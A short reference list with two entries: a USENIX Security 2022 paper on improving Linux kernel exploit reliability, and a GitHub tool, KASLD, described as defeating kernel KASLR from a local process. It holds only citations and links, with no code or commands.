Zeng, K. (2022). Playing for K(H)eaps: Understanding and Improving Linux Kernel Exploit Reliability. USENIX Security Symposium. https://www.usenix.org/conference/usenixsecurity22/presentation/zeng.

bcoles. (2026). KASLD defeats Linux kernel KASLR from a local process โ€” recovering the virtual and physical memory layout where a leak or side channel allows, and narrowing it to the smallest set of placements the evidence supports otherwise. github.com. https://github.com/bcoles/kasld.